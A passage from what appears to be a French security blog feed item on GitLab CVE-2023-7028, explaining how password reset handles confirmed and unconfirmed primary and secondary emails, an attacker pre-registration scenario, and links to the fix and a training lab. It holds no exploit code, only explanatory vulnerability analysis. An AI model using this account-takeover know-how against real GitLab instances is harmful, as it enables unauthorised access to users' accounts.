secondaire</li><li>Bogue dans le procès de vérification de l'adresse de courriel</li><li><a href="https://gitlab.com/gitlab-org/gitlab-foss/-/commit/21f32835ac7ca8c7ef57a93746dac7697341acc0">diff du correctif</a></li></ul><p>Par défaut, la gemme <a href="https://rubygems.org/gems/devise">devise</a> autorise la réinitialisation du mot de passe à partir d'un courriel primaire non confirmé.Lorsque le compte d'un utilisateur a une adresse primaire non confirmée, cela signifie que le compte n'est pas confirmé.La réinitialisation du mot de passe par le courriel primaire non confirmé est très utile du point de vue de la sécurité. Exemple : Une personne malveillante crée un compte utilisateur sur GitLab avec l'adresse courriel de quelqu'un.Si le propriétaire de l'adresse confirme le courriel pour le compte nouvellement créé, la personne malveillante pourra se connecter au compte avec le mot de passe qu'elle a fourni lors de l'inscription au compte.La personne malveillante peut configurer 2FA pour le compte utilisateur, après quoi le propriétaire de l'adresse ne pourra plus accéder à ce compte utilisateur même après avoir réinitialisé le mot de passe. Déni de service, plus personne ne peut utiliser le compte, cette adresse est bloquée sur un compte inutilisable.</p><p>Pour traiter ce cas en toute sécurité, le propriétaire de l'adresse doit d'abord réinitialiser le mot de passe du compte utilisateur (au moment de la confirmation ?). Cela permettra de s'assurer qu'une fois le compte utilisateur confirmé, la personne malveillante ne pourra pas se connecter avec le mot de passe qu'elle a fourni lors de l'inscription au compte. Ensuite, le propriétaire du courriel peut se connecter au compte, il verra une invitation à confirmer le courriel du compte pour continuer. Il peut alors confirmer le courriel en toute sécurité et prendre le contrôle du compte.C'est l'une des raisons pour lesquelles la réinitialisation du mot de passe par un courriel primaire non confirmé devrait être autorisée.</p><p>Alors que les courriels primaires non confirmés sont liés aux comptes des utilisateurs, les courriels secondaires non confirmés ne devraient pas être liés aux utilisateurs jusqu'à ce qu'ils soient confirmés.Dans le #367823, il est envisagé d'empêcher la réservation de courriels sur Gitlab par des courriels secondaires non confirmés.Selon ce problème, il pourrait y avoir des cas où il y a plusieurs utilisateurs avec les mêmes courriels secondaires non confirmés. Il serait impossible d'identifier pour quel compte utilisateur la réinitialisation du mot de passe est demandée si la réinitialisation du mot de passe était autorisée par des courriels secondaires non confirmés.Notez également qu'il n'est pas possible de demander une confirmation par courriel pour les courriels secondaires non confirmés sans avoir accès au compte d'utilisateur.</p><ul><li>✅ courriel primaire confirmé ➡️ envoi à cette adresse uniquement</li><li>✅ courriel primaire non confirmé (cf. explication précédente) ➡️ envoi à cette adresse uniquement</li><li>✅ courriel secondaire confirmé (cf. explication précédente) ➡️ envoi à cette adresse uniquement</li><li>❌ courriel secondaire non confirmé (cf. explication précédente) ➡️ n'envoi rien à personne</li><li>❌ courriel inconnu ➡️ n'envoi rien à personne</li><li>❌ plusieurs courriels ➡️ n'envoi rien à personne</li></ul><p><strong>Ressources</strong> :</p><ul><li><a href="https://attackerkb.com/topics/VBDvNxhyjr/cve-2023-7028">AttackerKB - CVE-2023-7028</a></li><li><a href="https://tryhackme.com/room/gitlabcve20237028">TryHackMe - Lab - GitLab CVE-2023-7028</a> (<a href="https://twitter.com/RealTryHackMe/status/1747649988539072886">tweet</a>)</li></ul><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
  </channel>
</rss>
